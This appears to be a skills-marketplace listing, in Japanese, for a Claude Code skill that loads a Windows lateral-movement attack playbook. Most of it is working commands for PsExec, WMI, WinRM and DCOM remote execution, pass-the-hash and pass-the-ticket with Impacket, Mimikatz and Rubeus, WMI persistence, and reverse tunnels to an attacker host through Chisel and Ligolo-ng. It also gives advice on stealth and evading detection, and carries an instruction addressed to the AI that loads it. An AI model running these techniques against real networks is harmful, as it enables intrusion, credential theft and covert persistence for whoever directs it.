mcpField
W
windows-lateral-movement

windows-lateral-movement

github.com/yaklangセキュリティ2.6k3.6k 回インストール6 週間前に更新
リポジトリ

windows-lateral-movement について

許可された Windows のラテラルムーブメント作業向けセキュリティスキルです。リモート実行、認証情報の利用、ピボット手法を手順書として整理しています。

主な機能

  1. 01リモート実行方式と特性の比較
  2. 02PsExec、WMI、WinRM、DCOM、RDP、SSHを網羅
  3. 03ハッシュパスとKerberosチケットの手法
  4. 04SSH、Chisel、Ligolo-ngによるピボット
  5. 05手法選択の判断ツリー

活用シーン

  1. 01Windowsホストへのリモート実行方式の選択
  2. 02NTLMハッシュやKerberosチケットによる認証
  3. 03侵害済みホスト経由での内部ホストへのアクセス

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/yaklang/hack-skills --skill windows-lateral-movement

インストール後、Claude Code で/windows-lateral-movementを入力して読み込まれたか確認します。

同梱ファイルCREDENTIAL_DUMPING.md

詳細

SKILL:Windows 横展開 — エキスパート向け攻撃プレイブック

AI LOAD INSTRUCTION:Windows のエキスパート向け横展開テクニックです。PsExec、WMI、WinRM、DCOM、SMB、RDP、SSH、パス・ザ・ハッシュ、オーバーパス・ザ・ハッシュ、パス・ザ・チケット、ピボットを扱います。ベースモデルでは、実行方法の痕跡、OPSEC 上のトレードオフ、各手法で必要な認証情報の種類が見落とされます。

0. 関連するルーティング

詳しく調べる前に、以下の読み込みを検討してください。

高度なリファレンス

以下が必要な場合は、CREDENTIAL_DUMPING.md も読み込んでください。

  • LSASS のダンプ手法(MiniDump、comsvcs.dll、nanodump)
  • SAM/SYSTEM/SECURITY の抽出
  • DPAPI、資格情報マネージャー、キャッシュされたドメイン資格情報
  • NTDS.dit の抽出方法

1. リモート実行方法の比較

方法ポート認証情報の種類サービスを作成するかディスク上のファイルOPSEC管理者権限が必要か
PsExec445(SMB)パスワード/ハッシュはい(PSEXESVC)はい(.exe)低はい
Impacket smbexec445パスワード/ハッシュはい(一時サービス)いいえ中はい
Impacket atexec445パスワード/ハッシュいいえ(スケジュールされたタスク)いいえ中はい
WMI135+動的ポートパスワード/ハッシュいいえいいえ高はい
WinRM5985/5986パスワード/ハッシュ/チケットいいえいいえ高はい(リモート管理)
DCOM135+動的ポートパスワード/ハッシュいいえいいえ高はい
RDP3389パスワード/ハッシュ(RestrictedAdmin)いいえいいえ低(GUI セッション)RDP アクセス
SSH22パスワード/キーいいえいいえ高SSH が有効
SC445パスワード/ハッシュはい(カスタムサービス)はい低はい

2. PSEXEC の派生ツール

Impacket PsExec
# With password
psexec.py DOMAIN/administrator:password@TARGET_IP

# With NTLM hash (pass-the-hash)
psexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP

# With Kerberos ticket
export KRB5CCNAME=admin.ccache
psexec.py -k -no-pass DOMAIN/[email protected]
Impacket smbexec(よりステルス性が高い — バイナリをアップロードしない)
smbexec.py DOMAIN/administrator:password@TARGET_IP
smbexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP
Impacket atexec(スケジュールされたタスク)
atexec.py DOMAIN/administrator:password@TARGET_IP "whoami"
atexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP "whoami"
Sysinternals PsExec
PsExec64.exe \\TARGET -u DOMAIN\administrator -p password cmd.exe
PsExec64.exe \\TARGET -s cmd.exe    & REM Run as SYSTEM (-s)
PsExec64.exe \\TARGET -accepteula -s -d cmd.exe /c "C:\temp\payload.exe"

3. WMI による横展開

# Impacket wmiexec
wmiexec.py DOMAIN/administrator:password@TARGET_IP
wmiexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP

# With Kerberos
export KRB5CCNAME=admin.ccache
wmiexec.py -k -no-pass DOMAIN/[email protected]
# PowerShell WMI process creation
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami > C:\temp\out.txt" -ComputerName TARGET -Credential $cred

# WMI event subscription persistence
$filterArgs = @{
    EventNamespace = 'root\cimv2'; Name = 'Updater';
    QueryLanguage = 'WQL';
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $filterArgs

4. WINRM による横展開

# evil-winrm (from Linux — with password)
evil-winrm -i TARGET_IP -u administrator -p password

# evil-winrm (with hash)
evil-winrm -i TARGET_IP -u administrator -H NTLM_HASH

# evil-winrm (with Kerberos)
evil-winrm -i target.domain.com -r DOMAIN.COM
# PowerShell remoting
$cred = Get-Credential
Enter-PSSession -ComputerName TARGET -Credential $cred

# Execute command remotely
Invoke-Command -ComputerName TARGET -Credential $cred -ScriptBlock { whoami }

# Multiple targets simultaneously
Invoke-Command -ComputerName TARGET1,TARGET2 -Credential $cred -ScriptBlock { hostname; whoami }

5. DCOM による横展開

ステルス性が高く、正規の COM オブジェクトを使用し、サービスを作成しません。

MMC20.Application
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","TARGET"))
$com.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c whoami > C:\temp\out.txt","7")
ShellWindows
$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","TARGET"))
$item = $com.Item()
$item.Document.Application.ShellExecute("cmd.exe","/c whoami > C:\temp\out.txt","C:\Windows\System32",$null,0)
ShellBrowserWindow
$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","TARGET"))
$com.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\Windows\System32",$null,0)
Impacket dcomexec
dcomexec.py DOMAIN/administrator:password@TARGET_IP
dcomexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP -object MMC20

6. パス・ザ・ハッシュ(PTH)

平文のパスワードを知らなくても、NTLM ハッシュを直接使用します。

# CrackMapExec — spray/check admin access
crackmapexec smb TARGETS -u administrator -H NTLM_HASH

# Impacket tools (all support -hashes)
psexec.py -hashes :NTLM_HASH DOMAIN/user@TARGET
wmiexec.py -hashes :NTLM_HASH DOMAIN/user@TARGET
smbexec.py -hashes :NTLM_HASH DOMAIN/user@TARGET

# evil-winrm
evil-winrm -i TARGET -u user -H NTLM_HASH

# xfreerdp (Restricted Admin mode must be enabled)
xfreerdp /v:TARGET /u:administrator /pth:NTLM_HASH /d:DOMAIN
# Mimikatz PTH (spawns new process with injected creds)
sekurlsa::pth /user:administrator /domain:DOMAIN /ntlm:HASH /run:cmd.exe
RDP の PTH 用に Restricted Admin を有効にする
# On target (requires admin): enable restricted admin
reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f

7. オーバーパス・ザ・ハッシュ(パス・ザ・キー)

NTLM ハッシュ → Kerberos TGT に変換し、純粋な Kerberos 認証を行います。

# Request TGT with hash
getTGT.py DOMAIN/user -hashes :NTLM_HASH -dc-ip DC_IP
export KRB5CCNAME=user.ccache

# Or with AES256 key
getTGT.py DOMAIN/user -aesKey AES256_KEY -dc-ip DC_IP

# Use Kerberos for all subsequent tools
psexec.py -k -no-pass DOMAIN/[email protected]
wmiexec.py -k -no-pass DOMAIN/[email protected]
# Mimikatz overpass-the-hash
sekurlsa::pth /user:user /domain:DOMAIN /ntlm:HASH /run:powershell.exe
# New PowerShell session → klist shows Kerberos TGT

利点:純粋な Kerberos 認証により、NTLM のログ記録と検知を回避できます。


8. パス・ザ・チケット

# Use existing .ccache ticket
export KRB5CCNAME=/path/to/admin.ccache
psexec.py -k -no-pass DOMAIN/[email protected]
# Mimikatz — inject .kirbi ticket
kerberos::ptt ticket.kirbi
# Verify
klist

# Rubeus
Rubeus.exe ptt /ticket:base64_blob

9. 侵害したホストを経由したピボット

SSH トンネル/ポートフォワード
# Dynamic SOCKS proxy through compromised host
ssh -D 1080 user@COMPROMISED_HOST
# Use with proxychains

# Local port forward (access internal service)
ssh -L 8888:INTERNAL_TARGET:445 user@COMPROMISED_HOST
Chisel(SSH 不要)
# On attacker (server)
chisel server --reverse -p 8080

# On compromised host (client)
chisel client ATTACKER:8080 R:socks
# Creates SOCKS5 proxy on attacker's port 1080
Ligolo-ng(最新、高速)
# On attacker
ligolo-proxy -selfcert -laddr 0.0.0.0:11601

# On compromised host
ligolo-agent -connect ATTACKER:11601 -retry -ignore-cert

# In ligolo console
session          # Select agent
start            # Start tunnel
# Add route: sudo ip route add INTERNAL_SUBNET/24 dev ligolo

10. 横展開の判断ツリー

Have credentials / hash — need to move laterally
│
├── What credentials do you have?
│   ├── Plaintext password → any method
│   ├── NTLM hash → PTH methods (§6)
│   │   ├── Need stealthier? → Overpass-the-Hash first (§7)
│   │   └── Direct use → psexec/wmiexec/evil-winrm with -H
│   ├── Kerberos ticket → Pass-the-Ticket (§8)
│   └── AES key → Overpass-the-Hash with -aesKey (§7)
│
├── OPSEC priority?
│   ├── High stealth needed
│   │   ├── WMI (no file on disk, no service) → wmiexec (§3)
│   │   ├── DCOM (uses legitimate COM) → dcomexec (§5)
│   │   └── WinRM (PowerShell remoting) → evil-winrm (§4)
│   ├── Moderate stealth
│   │   ├── smbexec (no binary upload) (§2)
│   │   └── atexec (scheduled task, auto-cleanup) (§2)
│   └── Low stealth acceptable
│       ├── PsExec (reliable, creates service) (§2)
│       └── RDP (interactive GUI) (§6)
│
├── Need to pivot to internal network?
│   ├── SSH available → SSH tunnel / SOCKS (§9)
│   ├── No SSH → Chisel or Ligolo-ng (§9)
│   └── Multiple hops → chain SOCKS proxies
│
├── Target hardening?
│   ├── SMB signing required → WMI, WinRM, or DCOM
│   ├── WinRM disabled → WMI or DCOM
│   ├── Firewall blocks 135/445 → RDP or SSH
│   └── Restricted Admin disabled → no RDP PTH → use other methods
│
└── Need to dump creds on new host?
    └── Load CREDENTIAL_DUMPING.md

コメント